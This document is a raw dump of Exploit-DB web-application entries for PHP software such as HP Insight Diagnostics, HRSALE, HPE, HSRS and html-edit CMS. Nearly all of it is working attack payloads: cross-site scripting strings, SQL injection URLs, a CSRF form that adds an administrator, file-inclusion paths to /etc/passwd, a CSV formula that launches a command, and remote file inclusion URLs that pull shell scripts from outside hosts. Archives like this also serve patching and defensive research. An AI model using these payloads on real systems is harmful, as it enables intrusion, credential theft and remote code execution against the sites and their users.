deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34544
Description: HP Insight Diagnostics Online Edition 8.4 - 'idstatusframe.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-31
Author: Mr Teatime

Exploit:
source: https://www.securityfocus.com/bid/42888/info
 
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/idstatusframe.php?pid="%20</XSS STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
Exploit-DB #34543
Description: HP Insight Diagnostics Online Edition 8.4 - 'parameters.php?device' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-31
Author: Mr Teatime

Exploit:
source: https://www.securityfocus.com/bid/42888/info

HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https:///www.example.com/hpdiags/parameters.php?device="</XSS STYLE=xss:expression(location='www.example2.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
Exploit-DB #35116
Description: HP Insight Diagnostics Online Edition 8.4 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-15
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/45420/info

HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to HP Insight Diagnostics Online Edition 8.5.1.3712 

http://www.example.com/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1);
Exploit-DB #34545
Description: HP Insight Diagnostics Online Edition 8.4 - 'survey.php?category' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-31
Author: Mr Teatime

Exploit:
source: https://www.securityfocus.com/bid/42888/info
  
HP Insight Diagnostics Online Edition is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
HP Insight Diagnostics Online Edition 8.4 and prior are vulnerable. 

https://www.example.com/hpdiags/survey.php?category=");//}</XSS/*-*/STYLE=xss:e/**/xpression(location='www.example2.com')>&device=1&filename=Prochec
kup&mount=1&save=1&surveyLevel=1&target=1
Versions:- 3.0.0.68 linux
Exploit-DB #36000
Description: HP Network Automation 9.10 - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-28
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/48924/info

HP Network Automation is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

HP Network Automation 7.2x, 7.5x, 7.6x, 9.0, 9.10 are vulnerable. 

http://www.example.com/view.php?id=1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11'
Exploit-DB #2240
Description: HPE 1.0 - HPEinc Remote File Inclusion (2)
Type: webapps
Platform: php
Date: 2006-08-22
Author: the master

Exploit:
########################################################################
#  HPE v0.6.1  Remote File Inclusion Vulnerability
#
#  Download: http://prdownloads.sourceforge.net/hpe/hpe-1.0.zip?download
#  Download: http://prdownloads.sourceforge.net/hpe/HPE-0.7.0.tar.gz?download
#  Download: http://prdownloads.sourceforge.net/hpe/HPE-0.6.5.tar.gz?download
#  Download: http://prdownloads.sourceforge.net/hpe/HPE-0.6.1.tar.gz?download
#
#  Found By: the master
#
########################################################################

1.0
#  http://[Target]/[Path]/HPE/lang/de.php?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/lang/fr.php?HPEinc=http://cmd.gif?
##############################################################################

0.7.0
#  http://[Target]/[Path]/HPE/clickerr.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/loadcatnews.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/motd.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/mod.newslog.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/thememaker.php3?HPEinc=http://cmd.gif?
##############################################################################

0.6.5
#  http://[Target]/[Path]/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.newnews.show.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.randnews.show.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.teaser.show.php3?HPEinc=http://cmd.gif?
###############################################################################

0.6.1
#  http://[Target]/[Path]/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
#  http://[Target]/[Path]/HPE/thememaker.php3?HPEinc=http://cmd.gif?
###############################################################################

# milw0rm.com [2006-08-22]
Exploit-DB #32298
Description: HPSystem Management Homepage (SMH) 2.1.12 - 'message.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-26
Author: Luca Carettoni

Exploit:
source: https://www.securityfocus.com/bid/30846/info

HP System Management Homepage (SMH) is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected site. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

NOTE: This issue may stem from an incomplete fix for the issues discussed in BIDs 24256 (HP System Management Homepage (SMH) Unspecified Cross Site Scripting Vulnerability) and 25953 (HP System Management Homepage (SMH) for Linux, Windows, and HP-UX Cross Site Scripting Vulnerability), but Symantec has not confirmed this.

1st vector) https://www.example.com/message.php?<script><script>alert('xss')</script></script> 2nd vector) https://www.example.com/message.php?aa%00<script><script>alert('xss')</script></script> 3rd vector) https://www.example.com/message.php?aa<BGSOUND SRC="javascript:alert('XSS');">
Exploit-DB #48205
Description: HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-03-12
Author: Ismail Akıcı

Exploit:
# Exploit Title: HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-03-11
# Exploit Author: Ismail Akıcı
# Vendor Homepage: http://hrsale.com/
# Software Link : http://demo.hrsale.com/
# Software : HRSALE v1.1.8
# Product Version: v1.1.8
# Vulnerability Type : Cross-Site Request Forgery (Add Admin)
# Vulnerability : Cross-Site Request Forgery

# Description :
# CSRF vulnerability was discovered in v1.1.8 version of HRSALE.
# With this vulnerability, authorized users can be added to the system.

HTML CSRF PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://demo.hrsale.com/admin/employees/add_employee" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;user" value="1" />
      <input type="hidden" name="csrf&#95;hrsale" value="e8ed76f1f2110f7244b58062e2209961" />
      <input type="hidden" name="first&#95;name" value="Ismail" />
      <input type="hidden" name="last&#95;name" value="Akici" />
      <input type="hidden" name="company&#95;id" value="1" />
      <input type="hidden" name="location&#95;id" value="1" />
      <input type="hidden" name="username" value="ismailtakici" />
      <input type="hidden" name="email" value="ismail&#46;akici&#64;gmail&#46;com" />
      <input type="hidden" name="date&#95;of&#95;birth" value="2020&#45;03&#45;11" />
      <input type="hidden" name="contact&#95;no" value="[PII_REDACTED]" />
      <input type="hidden" name="employee&#95;id" value="1" />
      <input type="hidden" name="date&#95;of&#95;joining" value="2020&#45;03&#45;11" />
      <input type="hidden" name="department&#95;id" value="1" />
      <input type="hidden" name="subdepartment&#95;id" value="YES" />
      <input type="hidden" name="designation&#95;id" value="9" />
      <input type="hidden" name="gender" value="Male" />
      <input type="hidden" name="office&#95;shift&#95;id" value="1" />
      <input type="hidden" name="password" value="Test1234&#33;" />
      <input type="hidden" name="confirm&#95;password" value="Test1234&#33;" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="leave&#95;categories&#91;&#93;" value="0" />
      <input type="hidden" name="leave&#95;categories&#91;&#93;" value="1" />
      <input type="hidden" name="address" value="Test&#32;Address" />
      <input type="hidden" name="is&#95;ajax" value="1" />
      <input type="hidden" name="add&#95;type" value="employee" />
      <input type="hidden" name="form" value="add&#95;employee" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #48920
Description: Hrsale 2.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-10-21
Author: Sosecure

Exploit:
# Exploit Title: Hrsale 2.0.0 - Local File Inclusion
# Date: 10/21/2020
# Exploit Author: Sosecure
# Vendor Homepage: https://hrsale.com/index.php
# Version: version 2.0.0

Description:
This exploit allow you to download any readable file from server with out permission and login session.

Payload :
           https://hrsale/download?type=files&filename=../../../../../../../../etc/passwd
POC:

  1.  Access to HRsale application and browse to download path with payload
  2.  Get /etc/passwd
Exploit-DB #44537
Description: HRSALE The Ultimate HRM 1.0.2 - 'award_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: HRSALE The Ultimate HRM v1.0.2 - 'award_id' SQL Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10256
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

SQL injection on [award_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/admin/user/read_awards/?jd=1&is_ajax=1&mode=modal&data=view_award&award_id=1' AND 1303=1303 AND 'BzpS'='BzpS

Parameter: award_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: jd=1&is_ajax=1&mode=modal&data=view_award&award_id=1' AND 1303=1303 AND 'BzpS'='BzpS
Exploit-DB #44538
Description: HRSALE The Ultimate HRM 1.0.2 - (Authenticated) Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: HRSALE The Ultimate HRM 1.0.2 - Authenticated Cross Site Scripting
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10259
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

Authenticated Stored XSS vulnerability found logged as low privileged user.

Proof of Concept (PoC):
=======================

Authenticated Stored XSS:

Dashboard > My Profile. Write the payload on the 'First Name' input field:
john doe<script>alert()</script>
Exploit-DB #44536
Description: HRSALE The Ultimate HRM 1.0.2 - CSV Injection
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: HRSALE The Ultimate HRM 1.0.2 - CSV Injection
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10257
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

A user is able to inject a command that will be included in the exported CSV file.

Proof of Concept (PoC):
=======================

1. Login with employee user credentials
2. Browse to My Profile and add =cmd|'/C calc'!A1 into the First Name field
3. Log in with admin's credentials
4. Browse to Core HR > Employees Last Login
5. Click on the CSV button to download and open the exported CSV file
Exploit-DB #44539
Description: HRSALE The Ultimate HRM 1.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-04-25
Author: 8bitsec

Exploit:
# Exploit Title: HRSALE The Ultimate HRM v1.0.2 - Local File Inclusion
# Date: 2018-04-23
# Exploit Author: 8bitsec
# CVE: CVE-2018-10260
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/hrsale-the-ultimate-hrm/21665619
# Version: 1.0.2
# Tested on: [Kali Linux 2.0 | Mac OS 10.13]

Release Date:
=============
2018-04-23

Product & Service Introduction:
===============================
HRSALE provides you with a powerful and cost-effective HR platform to ensure you get the best from your employees and managers.

Technical Details & Description:
================================

Local File Inclusion vulnerability found logged as low privileged user.

Proof of Concept (PoC):
=======================

LFI:

http://localhost/[path]/admin/download?type=task&filename=../../../../../../../../etc/passwd
Exploit-DB #2838
Description: HSRS 1.0 - 'addcode.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-23
Author: Cold Zero

Exploit:
--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------


HSRS <= 1.0 (HIOX Star Rating System Script) (addcode.php)  Remote File
Include Vulnerability



Found By  :  CoLd Zero  [ Wasem898 ]

Source    :  include_once ($4AZHAR_TeAM."Securty.");

            require ($SpECiALPowEr.oRg_TeAm."Securty");

            A_mal Hackeing Team _ Hacking



PalesTine Arab Muslim Hacker

http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif

######################################################
#
#            HSRS 1.0 (HIOX Star Rating System Script)
#
# Class:     Remote File Include Vulnerability
# Published  2006-11-23
# Remote:    Yes
# Type:      High
# Site:      http://www.hscripts.com/scripts/php/downloads/HSRS.zip
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################

About :
FREE Five Star Rating System Script that can be added in any web page with
php support.
A database based script developed using php and javascript.
This give your users a chance to rate on your articles, tutorials, photos,
images or whatever you want on a scale of 1-5 stars.

==========================

file ;

addcode.php

==========================

 include "$hm/auth/config.php";

======================================================
Example:

http://www.jusmail.com/5000/HSRS/addcode.php?hm=http://www.violatorthrash.com/flyers/cold.txt?cmd

======================================================
Exploit :

Http://www.Victem.0/[PaTH]/addcode.php?hm=http://coldzero.shell?cmd


======================================================

----  GreeTz: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell]
              [Metoovit] [Fucker_net] [Rageb][CoDeR] [HuGe][Str0ke] [Dr.TaiGaR[ [JEeN HacKer] [Nazy L!unx[


****************************************************************
# *www.4azhar.com Securty Team    >>      www.4azhar.com        *
# *SpeciaL PoweR SecuritY Team    >>      www.specialpower.org  *
# *A_mal Hacking Team             >>      -vv -l -p The-Pradise *
*****************************************************************


http://www.smileygenerator.us/smileysig2/links/[PII_REDACTED]54432992.final.gif


--------------------------------------||    Viva Palestine ||-----------------------------------------
--------------------------------------||  Free Saddam Hussien ||-----------------------------------------

# milw0rm.com [2006-11-23]
Exploit-DB #3324
Description: Htaccess Passwort Generator 1.1 - 'ht_pfad' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-16
Author: kezzap66345

Exploit:
********Htaccess_gen_V[1].1.1_(C)**********
Htaccess Passwort Generator V.1.1
Discovered By:- kezzap66345
Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHP_Scripte&seite=2
dork:ht_gen.php

code:

include ($ht_pfad."/tpl/ok.html");

exploit
http://target/[path]/generate.php?ht_pfad=3vil script?
I am a Turk..

# milw0rm.com [2007-02-16]
Exploit-DB #15800
Description: html-edit CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-12-21
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22734
Reference: http://www.htbridge.ch/advisory/sql_injection_in_html_edit_cms.html
Product: HTML-EDIT CMS
Vendor: html-edit web services ( http://www.html-edit.org/ ) 
Vulnerable Version: 3.1.8
Vendor Notification: 02 December 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nuser variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" >
<input type="hidden" name="nuser" value="123'SQL_CODE"/>
<input type="hidden" name="npass" value="password"/>
<input type="hidden" name="renpass" value="password"/>
<input type="hidden" name="gvrg" value="1"/>
<input type="hidden" name="antw" value="2"/>
<input type="hidden" name="email" value="test@email.com"/>
<input type="submit" value="Registrate" name="submit" />
</form>

Solution: Upgrade to the most recent version


Vulnerability Details:
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://htmledit/includes/core_files/pages.php
http://htmledit/includes/core_files/menu.php
http://htmledit/extensions/login/frontend/pages/antihacker.php

Solution: Upgrade to the most recent version


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://[host]/index.php?error=<script>alert(document.cookie)</script>

Solution: Upgrade to the most recent version
Exploit-DB #35658
Description: html-edit CMS 3.1.x - 'html_output' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-26
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47576/info

html-edit CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

html-edit CMS 3.1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/addons/image_slider/index.php?html_output=[XSS]